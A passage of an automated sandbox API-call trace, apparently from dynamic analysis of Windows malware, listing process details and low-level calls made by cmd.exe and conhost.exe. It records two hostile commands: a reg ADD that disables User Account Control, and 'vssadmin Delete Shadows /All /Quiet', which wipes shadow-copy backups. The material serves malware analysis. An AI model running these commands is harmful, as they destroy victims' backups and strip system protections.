	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0062.846] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0062.846] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0062.846] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0062.846] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0062.846] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0062.846] GetProcessHeap () returned 0x28910d80000
	[0062.846] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d879b0) returned 1
	[0062.846] GetProcessHeap () returned 0x28910d80000
	[0062.846] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x12) returned 0x28910d879b0
	[0062.846] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1
	[0062.848] _get_osfhandle (_FileHandle=1) returned 0x50
	[0062.848] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1
	[0062.912] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0062.912] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1f7) returned 1
	[0062.975] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\reg.exe", lpCommandLine="reg  ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x8f841aee40*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="reg  ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8f841aee18 | out: lpCommandLine="reg  ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", lpProcessInformation=0x8f841aee18*(hProcess=0x9c, hThread=0x98, dwProcessId=0xabc, dwThreadId=0xab0)) returned 1
	[0063.227] CloseHandle (hObject=0x98) returned 1
	[0063.227] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0063.227] GetProcessHeap () returned 0x28910d80000
	[0063.227] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d86630) returned 1
	[0063.228] GetEnvironmentStringsW () returned 0x28910d85b50*
	[0063.229] GetProcessHeap () returned 0x28910d80000
	[0063.229] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xacc) returned 0x28910d86630
	[0063.229] FreeEnvironmentStringsA (penv="=") returned 1
	[0063.244] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0
	[0064.186] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x8f841aed98 | out: lpExitCode=0x8f841aed98*=0x0) returned 1
	[0064.186] CloseHandle (hObject=0x9c) returned 1
	[0064.186] _vsnwprintf (in: _Buffer=0x8f841aef68, _BufferCount=0x13, _Format="%08X", _ArgList=0x8f841aeda8 | out: _Buffer="00000000") returned 8
	[0064.186] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0064.186] GetProcessHeap () returned 0x28910d80000
	[0064.187] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d86630) returned 1
	[0064.187] GetEnvironmentStringsW () returned 0x28910d88540*
	[0064.187] GetProcessHeap () returned 0x28910d80000
	[0064.187] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xaf2) returned 0x28910d85b50
	[0064.187] FreeEnvironmentStringsA (penv="=") returned 1
	[0064.187] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0064.187] GetProcessHeap () returned 0x28910d80000
	[0064.187] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d85b50) returned 1
	[0064.187] GetEnvironmentStringsW () returned 0x28910d88540*
	[0064.187] GetProcessHeap () returned 0x28910d80000
	[0064.187] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xaf2) returned 0x28910d85b50
	[0064.187] FreeEnvironmentStringsA (penv="=") returned 1
	[0064.187] GetProcessHeap () returned 0x28910d80000
	[0064.187] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d879b0) returned 1
	[0064.187] DeleteProcThreadAttributeList (in: lpAttributeList=0x8f841aef20 | out: lpAttributeList=0x8f841aef20) 
	[0064.187] ??_V@YAXPEAX@Z () returned 0x1
	[0064.187] _get_osfhandle (_FileHandle=1) returned 0x50
	[0064.187] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1
	[0064.241] _get_osfhandle (_FileHandle=1) returned 0x50
	[0064.241] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff79f78fc08 | out: lpMode=0x7ff79f78fc08) returned 1
	[0064.320] _get_osfhandle (_FileHandle=1) returned 0x50
	[0064.320] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1
	[0064.358] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0064.358] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff79f78fc0c | out: lpMode=0x7ff79f78fc0c) returned 1
	[0064.863] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0064.863] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1
	[0064.899] SetConsoleInputExeNameW () returned 0x1
	[0064.899] GetConsoleOutputCP () returned 0x1b5
	[0064.936] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff79f78fbb0 | out: lpCPInfo=0x7ff79f78fbb0) returned 1
	[0064.936] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0065.049] exit (_Code=0) 

Thread:
	id = 13
	os_tid = 0x4f8


Process:
	id = "3"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x5e844000"
	os_pid = "0x1188"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x116c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 8
	os_tid = 0x1168


Thread:
	id = 9
	os_tid = 0x1184


Thread:
	id = 10
	os_tid = 0xe8c


Thread:
	id = 11
	os_tid = 0x10ec


Thread:
	id = 12
	os_tid = 0x10f0


Process:
	id = "4"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0xa14b000"
	os_pid = "0xd14"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x110c"
	cmd_line = "cmd /C vssadmin Delete Shadows /All /Quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 14
	os_tid = 0xd1c

	[0064.179] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff79f750000
	[0064.179] __set_app_type (_Type=0x1) 
	[0064.179] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff79f766d00) returned 0x0
	[0064.179] __getmainargs (in: _Argc=0x7ff79f789200, _Argv=0x7ff79f789208, _Env=0x7ff79f789210, _DoWildCard=0, _StartInfo=0x7ff79f78921c | out: _Argc=0x7ff79f789200, _Argv=0x7ff79f789208, _Env=0x7ff79f789210) returned 0
	[0064.180] _onexit (_Func=0x7ff79f767fd0) returned 0x7ff79f767fd0
	[0064.180] _onexit (_Func=0x7ff79f767fe0) returned 0x7ff79f767fe0
	[0064.180] _onexit (_Func=0x7ff79f767ff0) returned 0x7ff79f767ff0
	[0064.180] _onexit (_Func=0x7ff79f768000) returned 0x7ff79f768000
	[0064.180] _onexit (_Func=0x7ff79f768010) returned 0x7ff79f768010
	[0064.181] _onexit (_Func=0x7ff79f768020) returned 0x7ff79f768020
	[0064.181] GetCurrentThreadId () returned 0xd1c
	[0064.181] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd1c) returned 0x70
	[0064.181] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000
	[0064.181] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetThreadUILanguage") returned 0x7ffce913a990
	[0064.181] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0064.194] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0064.194] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xf1299bfe68 | out: phkResult=0xf1299bfe68*=0x0) returned 0x2
	[0064.194] VirtualQuery (in: lpAddress=0xf1299bfe54, lpBuffer=0xf1299bfdd0, dwLength=0x30 | out: lpBuffer=0xf1299bfdd0*(BaseAddress=0xf1299bf000, AllocationBase=0xf1298c0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.194] VirtualQuery (in: lpAddress=0xf1298c0000, lpBuffer=0xf1299bfdd0, dwLength=0x30 | out: lpBuffer=0xf1299bfdd0*(BaseAddress=0xf1298c0000, AllocationBase=0xf1298c0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.194] VirtualQuery (in: lpAddress=0xf1298c1000, lpBuffer=0xf1299bfdd0, dwLength=0x30 | out: lpBuffer=0xf1299bfdd0*(BaseAddress=0xf1298c1000, AllocationBase=0xf1298c0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.194] VirtualQuery (in: lpAddress=0xf1298c4000, lpBuffer=0xf1299bfdd0, dwLength=0x30 | out: lpBuffer=0xf1299bfdd0*(BaseAddress=0xf1298c4000, AllocationBase=0xf1298c0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.194] VirtualQuery (in: lpAddress=0xf1299c0000, lpBuffer=0xf1299bfdd0, dwLength=0x30 | out: lpBuffer=0xf1299bfdd0*(BaseAddress=0xf1299c0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff9302, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0064.194] GetConsoleOutputCP () returned 0x1b5
	[0064.209] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff79f78fbb0 | out: lpCPInfo=0x7ff79f78fbb0) returned 1
	[0064.211] SetConsoleCtrlHandler (HandlerRoutine=0x7ff79f778150, Add=1) returned 1
	[0064.211] _get_osfhandle (_FileHandle=1) returned 0x150
	[0064.212] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff79f78fc04 | out: lpMode=0x7ff79f78fc04) returned 0
	[0064.212] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0064.212] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff79f78fc00 | out: lpMode=0x7ff79f78fc00) returned 0
	[0064.218] _get_osfhandle (_FileHandle=1) returned 0x150
	[0064.218] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0064.225] _get_osfhandle (_FileHandle=1) returned 0x150
	[0064.225] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff79f78fc08 | out: lpMode=0x7ff79f78fc08) returned 0
	[0064.225] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0064.225] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff79f78fc0c | out: lpMode=0x7ff79f78fc0c) returned 0
	[0064.225] GetEnvironmentStringsW () returned 0x2de830159f0*
	[0064.225] GetProcessHeap () returned 0x2de83010000
	[0064.225] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xa7c) returned 0x2de83016480
	[0064.225] FreeEnvironmentStringsA (penv="A") returned 1
	[0064.225] GetProcessHeap () returned 0x2de83010000
	[0064.225] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x8) returned 0x2de83016f10
	[0064.225] GetEnvironmentStringsW () returned 0x2de830159f0*
	[0064.225] GetProcessHeap () returned 0x2de83010000
	[0064.225] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xa7c) returned 0x2de83016f30
	[0064.226] FreeEnvironmentStringsA (penv="A") returned 1
	[0064.226] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf1299bed18 | out: phkResult=0xf1299bed18*=0x7c) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x0, lpData=0xf1299bed30*=0x4, lpcbData=0xf1299bed14*=0x1000) returned 0x2
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x4, lpData=0xf1299bed30*=0x1, lpcbData=0xf1299bed14*=0x4) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x0, lpData=0xf1299bed30*=0x1, lpcbData=0xf1299bed14*=0x1000) returned 0x2
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x4, lpData=0xf1299bed30*=0x0, lpcbData=0xf1299bed14*=0x4) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x4, lpData=0xf1299bed30*=0x40, lpcbData=0xf1299bed14*=0x4) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x4, lpData=0xf1299bed30*=0x40, lpcbData=0xf1299bed14*=0x4) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x0, lpData=0xf1299bed30*=0x40, lpcbData=0xf1299bed14*=0x1000) returned 0x2
	[0064.226] RegCloseKey (hKey=0x7c) returned 0x0
	[0064.226] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf1299bed18 | out: phkResult=0xf1299bed18*=0x7c) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x0, lpData=0xf1299bed30*=0x40, lpcbData=0xf1299bed14*=0x1000) returned 0x2
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x4, lpData=0xf1299bed30*=0x1, lpcbData=0xf1299bed14*=0x4) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x0, lpData=0xf1299bed30*=0x1, lpcbData=0xf1299bed14*=0x1000) returned 0x2
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x4, lpData=0xf1299bed30*=0x0, lpcbData=0xf1299bed14*=0x4) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x4, lpData=0xf1299bed30*=0x9, lpcbData=0xf1299bed14*=0x4) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x4, lpData=0xf1299bed30*=0x9, lpcbData=0xf1299bed14*=0x4) returned 0x0
	[0064.226] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf1299bed10, lpData=0xf1299bed30, lpcbData=0xf1299bed14*=0x1000 | out: lpType=0xf1299bed10*=0x0, lpData=0xf1299bed30*=0x9, lpcbData=0xf1299bed14*=0x1000) returned 0x2
	[0064.226] RegCloseKey (hKey=0x7c) returned 0x0
	[0064.227] time (in: timer=0x0 | out: timer=0x0) returned 0x5fea0f85
	[0064.227] srand (_Seed=0x5fea0f85) 
	[0064.227] GetCommandLineW () returned="cmd /C vssadmin Delete Shadows /All /Quiet"
	[0064.227] malloc (_Size=0x4000) returned 0x2de832054f0
	[0064.227] GetCommandLineW () returned="cmd /C vssadmin Delete Shadows /All /Quiet"
	[0064.227] malloc (_Size=0xffce) returned 0x2de83210080
	[0064.228] ??_V@YAXPEAX@Z () returned 0x2de83210080
	[0064.233] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2de83210080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0064.233] malloc (_Size=0xffce) returned 0x2de83220060
	[0064.233] ??_V@YAXPEAX@Z () returned 0x2de83220060
	[0064.234] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2de83220060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0064.234] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0064.234] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0064.234] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0064.234] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0064.234] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0064.234] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0064.234] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0064.234] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0064.234] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0064.234] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0064.234] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0064.234] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0064.235] GetProcessHeap () returned 0x2de83010000
	[0064.235] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de83016480) returned 1
	[0064.235] GetEnvironmentStringsW () returned 0x2de83018490*
	[0064.235] GetProcessHeap () returned 0x2de83010000
	[0064.235] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xa94) returned 0x2de830159f0
	[0064.235] FreeEnvironmentStringsA (penv="A") returned 1
	[0064.235] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0064.235] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0064.235] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0064.235] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0064.235] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0064.235] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0064.235] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0064.235] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0064.235] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0064.235] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0064.235] malloc (_Size=0xffce) returned 0x2de83230040
	[0064.236] ??_V@YAXPEAX@Z () returned 0x2de83230040
	[0064.236] GetProcessHeap () returned 0x2de83010000
	[0064.236] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x40) returned 0x2de83016490
	[0064.236] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2de83230040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0064.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2de83230040, lpFilePart=0xf1299bf890 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xf1299bf890*="Desktop") returned 0x17
	[0064.237] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0064.237] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xf1299bf5c0 | out: lpFindFileData=0xf1299bf5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2de830164e0
	[0064.237] FindClose (in: hFindFile=0x2de830164e0 | out: hFindFile=0x2de830164e0) returned 1
	[0064.237] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xf1299bf5c0 | out: lpFindFileData=0xf1299bf5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x2de830164e0
	[0064.237] FindClose (in: hFindFile=0x2de830164e0 | out: hFindFile=0x2de830164e0) returned 1
	[0064.237] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xf1299bf5c0 | out: lpFindFileData=0xf1299bf5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd60f1e6, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0xd60f1e6, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2de830164e0
	[0064.238] FindClose (in: hFindFile=0x2de830164e0 | out: hFindFile=0x2de830164e0) returned 1
	[0064.238] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0064.238] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0064.238] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0064.238] GetProcessHeap () returned 0x2de83010000
	[0064.238] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de830159f0) returned 1
	[0064.238] GetEnvironmentStringsW () returned 0x2de83018f70*
	[0064.238] GetProcessHeap () returned 0x2de83010000
	[0064.238] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xacc) returned 0x2de83019a50
	[0064.238] FreeEnvironmentStringsA (penv="=") returned 1
	[0064.238] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2de83210080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0064.238] GetProcessHeap () returned 0x2de83010000
	[0064.238] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de83016490) returned 1
	[0064.238] ??_V@YAXPEAX@Z () returned 0x1
	[0064.238] ??_V@YAXPEAX@Z () returned 0x1
	[0064.238] GetProcessHeap () returned 0x2de83010000
	[0064.239] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x4016) returned 0x2de8301a530
	[0064.239] GetProcessHeap () returned 0x2de83010000
